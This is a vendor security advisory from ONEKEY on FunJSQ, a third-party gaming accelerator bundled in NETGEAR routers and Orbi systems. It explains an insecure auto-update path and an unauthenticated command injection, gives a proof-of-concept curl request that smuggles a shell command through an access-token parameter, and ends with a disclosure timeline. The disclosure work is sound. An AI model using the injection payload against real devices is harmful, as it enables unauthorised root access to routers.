Blog Titelbanner of the ONEKEY Advisory Netgear Routers FunJSQ

Security Advisory: NETGEAR Routers FunJSQ Vulnerabilities

When working on improving our component detection capabilities to provide more exhaustive automated Software Bill of Materials (SBOM) for IoT devices, we sometimes find ourselves facing “weird” third-party software components. Back in May 2022, we discovered FunJSQ, a third-party gaming speed-improvement service by China-based Xiamen Xunwang Network Technology Co., Ltd., present in the majority of NETGEAR firmware images in our corpus.

The plot thickened as we dug more into it and we ended up performing full-on vulnerability research against it. We identified multiple issues affecting this third-party component that could lead to arbitrary code execution from LAN and WAN interfaces. These issues are now fixed, and details are provided below.

Affected vendor & productNETGEAR Routers
Orbi WiFi Systems
Vendor AdvisorySecurity Advisory for Vulnerabilities in FunJSQ on Some Routers and Orbi WiFi Systems, PSV-2022-0117 | Answer | NETGEAR Support
Vulnerable versionNETGEAR Routers:
R6230 version <
R6260 version <
R7000 version <
R8900 version <
R9000 version <
XR300 version <
Orbi WiFi Systems:
RBR20, RBS20 version <
RBR50, RBS50 version <
Fixed versionNETGEAR Routers:
R6230 version
R6260 version
R7000 version
R8900 version
R9000 version
XR300 version
Orbi WiFi Systems:
RBR20, RBS20 version
RBR50, RBS50 version
CVE IDsCVE-2022-40620 – insecure update mechanism
CVE-2022-40619 – unauthenticated command injection
Impact7.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L)
CreditQ. Kaiser, ONEKEY Research Lab
M. Kir, ONEKEY Research Lab
Research supported by Certainity


This component was initially reported by a colleague using our ticketing system as a “Chinese gaming speed-improvement service, seen in NETGEAR devices so far, but their binaries may be bundled by other vendors”.

From a quick search in our firmware corpus, we discovered its presence in NETGEAR devices (R9000, R7800, RAX200, RAX120, R6230, R6260, RAX40) and some Orbi WiFi Systems (RBR20, RBS20, RBR50, RBS50). Initially, it was unclear why NETGEAR would use such a third-party component and unclear when it’s actually used. From testimony online, it seemed to only be enabled when QoS is enabled on NETGEAR routers.

We did not find CVEs linked to this component, and the only security related issues we discovered mentioning FunJSQ were these two:

We dug further and discovered an online presence with a description of what FunJSQ actually is:

Fanyou Accelerator focuses on game online acceleration services, effectively optimizing the type of network NAT, low latency, fast matching, and no disconnection. Support PS4, NS, Xbox, Windows, Android, iOS six platform acceleration, automatic node selection, automatic acceleration when booting, no computer operation required, public account switch acceleration, smart and convenient.

Supported platforms: PS4, NS, Xbox, Windows, Android, iOS;

Accelerated nodes: Japan, Hong Kong, the United States, South Korea, Europe and other nodes;

Acceleration effect: support NAT promotion, reduce delay, stable without packet loss;



In order to understand the working structure of this service, we first examined the init scripts on the R9000 firmware that we extracted with unblob.

In /etc/init.d/net-lan, the device checks the region and only starts the funjsq script if it’s in China. Yes, NETGEAR does not follow ISO standard here. “PR” is not “Puerto Rico”, but probably “People’s Republic”.

start_stage0() # $1: boot/start
	region="$(/sbin/artmtd -r region | grep REGION | awk '{print $2}')"
	if [ "$region" = "PR" ];then
		[ "$1" = "boot" ] && /data/funjsq/bin/ init &


For R7000 router, it gets even weirder. It probably was the same situation, but they are now shipping two different firmware revisions, one for each market:

  • Firmware Version
  • Firmware Version (China Only)

Our assumption is that it got initially introduced in 2019 (see R9000 Firmware Version and then, at some point, they decided to remove or block this third-party component in builds for non-Chinese markets. In terms of internal processes, it’s interesting to note that this strategy was not applied consistently across various models. For some models they inserted a check based on the region stored in NVRAM, for others they simply released two different versions, one per region.

The reason why they decided to make the move is unknown to us. Could be due to regulatory requirements, contractual agreements with FunJSQ, or even to achieve attack surface reduction. We can only speculate.

FunJSQ Architecture

The module is packaged with two directories (config and bin), config holds plaintext files for different services, bin holds ELF files and a shell script (

On boot, is called from acos_service (binary responsible of service launch in NETGEAR kit). It then starts different services related to FunJSQ such as a Redis server (funjsq_redis), HTTP server (funjsq_httpd), a network sniffer (funjsq_detect), and some controller endpoint listening on Unix sockets (funjsq_daemon):

Given that funjsq_redis is an unmodified fork of Redis server, we chose to focus on two components: the auto-update mechanism in and the HTTP endpoints exposed by funjsq_httpd on port TCP/12300.

MitM to RCE in auto-update process

The core of this issue was reported by our analysis engine when we scanned a R7000 firmware image. As you can see below, calls to curls with certificate validation disabled (-k) are made throughout the script:

On boot, a call to /tmp/funjsq/bin/ init is performed by acos_service. This in turn executes the following bash script:


	start_update_app &
	funjsq_login=`nvram get funjsq_no_need_login `

	mkdir -p /tmp/funjsq/config/redis

	killall funjsq_redis funjsq_inetd funjsq_httpd 
	/tmp/funjsq/bin/funjsq_redis -d /tmp/funjsq/config/redis

	[ "x$funjsq_login" != "x1" ]  && {
		killall funjsq_detect 
		rm -rf /tmp/funjsq/config/values/*
		/tmp/funjsq/bin/funjsq_detect -i br0 -d

	/tmp/funjsq/bin/funjsq_ctl init & 
	nvram  commit &

As we can see on line 3, an auto-update function is called by launching start_update_app &, which is a bash function. This function takes care of auto-updating the FunJSQ package at regular intervals (every 15 minutes). We do not reproduce the whole function for brevity, but the important part is this:

curl  -s -k "$d_version_url" -o "${tmp_binary_path}" >/dev/null 2>&1 

We captured traffic to see what was going on and link it to the script behavior.

The script calls, asking for information regarding the latest FunJSQ plugin for NETGEAR R7000:

GET /api/v1/plugin/version_update?system=netgear&type=r7000 HTTP/2
User-Agent: curl/7.36.0
Accept: text/plain

The server answers with a plaintext response:

HTTP/2 200 OK
Server: Tengine
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 May 2022 14:37:13 GMT
X-Powered-By: PHP/7.2.13
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, AccessToken, SID
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 3600
Access-Control-Expose-Headers: SID
Via: cache30.l2st4-5[32,0], cache7.cn3957[56,0]
Timing-Allow-Origin: *
Eagleid: 7ae1d01b16519342337981447e


The text line follows this format: version#package_md5#should_update.

The script performs some comparison to check if the returned version is higher than its local version. If that’s the case, the update process starts, which is simply fetching a tar.gz archive from another FunJSQ server:

GET /web_control/wxapp/netgear/funjsq_plugin_netgear_r7000.tar.gz HTTP/1.1
User-Agent: curl/7.36.0
Accept: */*

When the package is downloaded, the MD5 sum of the file is compared to the fingerprint received from If there is a match, the following command is called:

tar -zxvf $tmp_binary_path -C / > /dev/null

So we have the following issues:

  • insecure communications due to explicit disabling of certificate validation (-k), which allows us to tamper with data returned from the server
  • update packages are simply validated via a hash checksum, packages are not signed in any way
  • arbitrary extraction to the root path with elevated privileges, allowing whoever controls the update package to overwrite anything anywhere on the device (which puts a lot of trust in a third party supplier)

All of these combined can lead to arbitrary code execution from the WAN interface.

Arbitrary Command Injection in funjsq_httpd

We identified the following endpoints being exposed by funjsq_httpd:

  • apply_run.cgi
  • apply_save.cgi
  • apply_bind.cgi
  • upload.cgi
  • update.cgi
  • upgrade.cgi
  • syslog.cgi
  • change_lang.cgi

We looked into apply_bind.cgi, which accepts the following action_mode parameters: funjsq_bind, funjsq_bind_password, funjsq_scan, funjsq_unbind.

With the exception of funjsq_scan, all of these requests require an authentication token provided through a funjsq_access_token parameter. This token is generated using a weak algorithm, we won’t cover it, using a hardcoded string and the device MAC address. This token is then sent to a remote FunJSQ service for validation using curl. If everything goes right, a “1” is written to a file named funjsq_no_need_login and the client is now considered “bound” and authenticated.

Such a request would simply look like this:

curl -ki -X GET\?action_mode=funjsq_bind\&funjsq_access_token=e594ff4c36742acf006cdf16b46c5731

We found that the curl command line is built using the funjsq_access_token parameter value, which is user controlled and unsanitized prior to creating the full command line.

curl -s -H '' -d 'm=X:X:X:X:X:X' -d 't=e594ff4c36742acf006cdf16b46c5731' -k -m 10

This means that we can inject an arbitrary command like this:

curl -ki -X GET "'|id>a|'"

When doing so, we would observe the following debug log:

[2022-05-18 08:35:48] [INFO] apply.c/check_t/494 cmd=curl -s -H '' -d 'm=X:X:X:X:X:X' -d 't=e594ff4c36742acf006cdf16'|id>a|'' -k -m 10
sh: : Permission denied
curl: no URL specified!
curl: try 'curl --help' for more information

And of course, proof of execution as root:

# cat a

uid=0 gid=0(root)

Key Takeaways

Our constant effort at finding and documenting new components to make our SBOM generator as exhaustive as possible sometimes causes us to discover undocumented and vulnerable software components in widely deployed embedded devices. This instance again sheds light on the complex supply-chain intertanglements in embedded devices and highlights the necessity to assure that all included third-party vendors adhere to at least the same cyber security standards. Otherwise, a critical vulnerability, introduced by a supplier on the other side of the globe, will void one’s cyber-security efforts and leave the devices of potentially hundreds of thousands users open to attacks.


2022-05-19 – Sent coordinated disclosure request to,,,

2022-06-10 – NETGEAR Security got back to us, indicating the right address is and providing us with their PGP key.

2022-06-10 – We provide all vulnerability details to NETGEAR through PGP encrypted emails.

2022-06-11 – NETGEAR asks for 120 days grace period, but we instead suggested 90 days as stated in our responsible disclosure policy.

2022-06-15 – Both parties agree on September 10th 2022 for fix and disclosure.

2022-09-08 – NETGEAR release its advisory

2022-09-12 – ONEKEY release its advisory


ONEKEY is a leading European specialist for automated security & compliance analysis for industrial (IIoT & ICS), manufacturing (OT) and Internet of Things (IoT) devices. Using automatically generated “Digital Twins” and “Software Bill of Materials (SBOM)” of devices, ONEKEY autonomously analyzes firmware for critical security vulnerabilities and compliance violations, all without source code, device, or network access. Vulnerabilities for attacks and security risks are identified in the shortest possible time and can thus be specifically remedied. Easily integrated into software development and procurement processes, the solution enables manufacturers, distributors, and users of IoT technology to check security and compliance quickly and automatically before use, 24/7 throughout the product lifecycle. Leading companies, such as SWISSCOM, VERBUND AG and ZYXEL, are using this platform today – universities and research institutions can use the ONEKEY platform for study purposes free of charge.


Sara Fortmann

Marketing Manager


euromarcom public relations GmbH

+49 611 973 150

Share on facebook
Share on twitter
Share on pinterest
Share on linkedin
Share on xing
Share on email